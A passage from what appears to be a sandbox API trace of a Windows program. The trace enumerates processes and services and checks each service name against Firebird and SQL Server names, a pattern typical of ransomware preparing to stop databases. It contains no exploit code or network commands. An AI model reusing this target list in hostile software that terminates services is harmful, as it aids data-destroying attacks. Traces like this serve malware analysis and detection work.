cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.893] lstrlenW (lpString="conhost.exe") returned 11 [0177.893] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0177.893] lstrlenW (lpString="mode.com") returned 8 [0177.893] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0177.893] CloseHandle (hObject=0x300) returned 1 [0177.893] Sleep (dwMilliseconds=0x1f4) [0178.405] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eeec8 [0178.405] EnumServicesStatusExW (in: hSCManager=0x6eeec8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0178.406] GetLastError () returned 0xea [0178.406] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d19a0 [0178.406] EnumServicesStatusExW (in: hSCManager=0x6eeec8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d19a0, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d19a0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0178.409] CloseServiceHandle (hSCObject=0x6eeec8) returned 1 [0178.409] lstrlenW (lpString="Appinfo") returned 7 [0178.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0178.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0178.409] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0178.409] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0178.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0178.409] lstrlenW (lpString="AppXSvc") returned 7 [0178.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0178.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0178.409] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0178.409] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0178.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0178.409] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0178.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.409] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0178.409] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0178.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0178.409] lstrlenW (lpString="Audiosrv") returned 8 [0178.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0178.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0178.409] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0178.409] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0178.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0178.409] lstrlenW (lpString="BFE") returned 3 [0178.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0178.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0178.409] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0178.409] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0178.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0178.409] lstrlenW (lpString="BITS") returned 4 [0178.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0178.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0178.410] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0178.410] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0178.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0178.410] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0178.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0178.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0178.410] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0178.410] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0178.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0178.410] lstrlenW (lpString="CDPSvc") returned 6 [0178.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0178.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0178.410] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0178.410] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0178.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0178.410] lstrlenW (lpString="ClipSVC") returned 7 [0178.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0178.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0178.410] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0178.410] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0178.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0178.410] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0178.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0178.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0178.410] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0178.410] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0178.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0178.410] lstrlenW (lpString="CryptSvc") returned 8 [0178.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0178.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0178.410] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0178.410] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0178.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0178.410] lstrlenW (lpString="DcomLaunch") returned 10 [0178.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.410] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0178.410] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0178.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0178.410] lstrlenW (lpString="Dhcp") returned 4 [0178.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0178.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0178.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0178.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0178.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0178.411] lstrlenW (lpString="Dnscache") returned 8 [0178.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0178.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0178.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0178.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0178.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0178.411] lstrlenW (lpString="DoSvc") returned 5 [0178.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0178.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0178.411] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0178.411] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0178.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0178.411] lstrlenW (lpString="DPS") returned 3 [0178.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0178.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0178.411] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0178.411] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0178.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0178.411] lstrlenW (lpString="DusmSvc") returned 7 [0178.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0178.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0178.411] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0178.411] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0178.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0178.411] lstrlenW (lpString="EventLog") returned 8 [0178.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0178.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0178.411] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0178.411] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0178.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0178.411] lstrlenW (lpString="EventSystem") returned 11 [0178.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0178.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0178.411] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0178.411] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0178.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0178.411] lstrlenW (lpString="gpsvc") returned 5 [0178.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0178.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0178.412] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0178.412] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0178.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0178.412] lstrlenW (lpString="iphlpsvc") returned 8 [0178.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0178.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0178.412] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0178.412] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0178.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0178.412] lstrlenW (lpString="KeyIso") returned 6 [0178.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0178.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0178.412] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0178.412] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0178.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0178.412] lstrlenW (lpString="LanmanServer") returned 12 [0178.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0178.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0178.412] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0178.412] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0178.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0178.412] lstrlenW (lpString="LanmanWorkstation") returned 17 [0178.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0178.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0178.412] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0178.412] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0178.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0178.412] lstrlenW (lpString="lfsvc") returned 5 [0178.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0178.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0178.412] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0178.412] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0178.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0178.412] lstrlenW (lpString="LicenseManager") returned 14 [0178.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0178.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0178.412] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0178.412] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0178.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0178.412] lstrlenW (lpString="lmhosts") returned 7 [0178.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0178.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0178.413] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0178.413] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0178.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0178.413] lstrlenW (lpString="LSM") returned 3 [0178.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0178.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0178.413] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0178.413] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0178.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0178.413] lstrlenW (lpString="MpsSvc") returned 6 [0178.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0178.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0178.413] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0178.413] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0178.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0178.413] lstrlenW (lpString="NcbService") returned 10 [0178.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0178.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0178.413] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0178.413] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0178.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0178.413] lstrlenW (lpString="netprofm") returned 8 [0178.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0178.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0178.413] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0178.413] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0178.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0178.413] lstrlenW (lpString="NlaSvc") returned 6 [0178.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0178.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0178.413] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0178.413] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0178.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0178.413] lstrlenW (lpString="nsi") returned 3 [0178.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0178.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0178.413] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0178.413] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0178.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0178.413] lstrlenW (lpString="PcaSvc") returned 6 [0178.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0178.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0178.414] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0178.414] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0178.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0178.414] lstrlenW (lpString="PlugPlay") returned 8 [0178.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0178.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0178.414] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0178.414] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0178.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0178.414] lstrlenW (lpString="Power") returned 5 [0178.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0178.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0178.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0178.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0178.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0178.414] lstrlenW (lpString="ProfSvc") returned 7 [0178.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0178.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0178.414] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0178.414] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0178.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0178.414] lstrlenW (lpString="RpcEptMapper") returned 12 [0178.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.414] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0178.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0178.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0178.414] lstrlenW (lpString="RpcSs") returned 5 [0178.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0178.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0178.414] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0178.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0178.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0178.414] lstrlenW (lpString="SamSs") returned 5 [0178.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0178.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0178.414] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0178.414] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0178.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0178.414] lstrlenW (lpString="Schedule") returned 8 [0178.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0178.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0178.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0178.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0178.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0178.415] lstrlenW (lpString="SecurityHealthService") returned 21 [0178.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0178.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0178.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0178.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0178.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0178.415] lstrlenW (lpString="SENS") returned 4 [0178.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0178.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0178.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0178.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0178.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0178.415] lstrlenW (lpString="ShellHWDetection") returned 16 [0178.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.415] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0178.415] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0178.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0178.415] lstrlenW (lpString="sppsvc") returned 6 [0178.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0178.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0178.415] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0178.415] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0178.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0178.415] lstrlenW (lpString="SSDPSRV") returned 7 [0178.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0178.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0178.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0178.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0178.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0178.415] lstrlenW (lpString="StateRepository") returned 15 [0178.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0178.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0178.415] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0178.415] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0178.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0178.415] lstrlenW (lpString="SysMain") returned 7 [0178.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0178.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0178.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0178.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0178.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0178.416] lstrlenW (lpString="SystemEventsBroker") returned 18 [0178.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0178.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0178.416] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0178.416] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0178.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0178.416] lstrlenW (lpString="Themes") returned 6 [0178.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0178.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0178.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0178.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0178.416] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2fc [0178.421] Process32FirstW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.421] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0178.421] lstrlenW (lpString="System") returned 6 [0178.422] Process32NextW (in: hSnapshot=0x2fc, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, 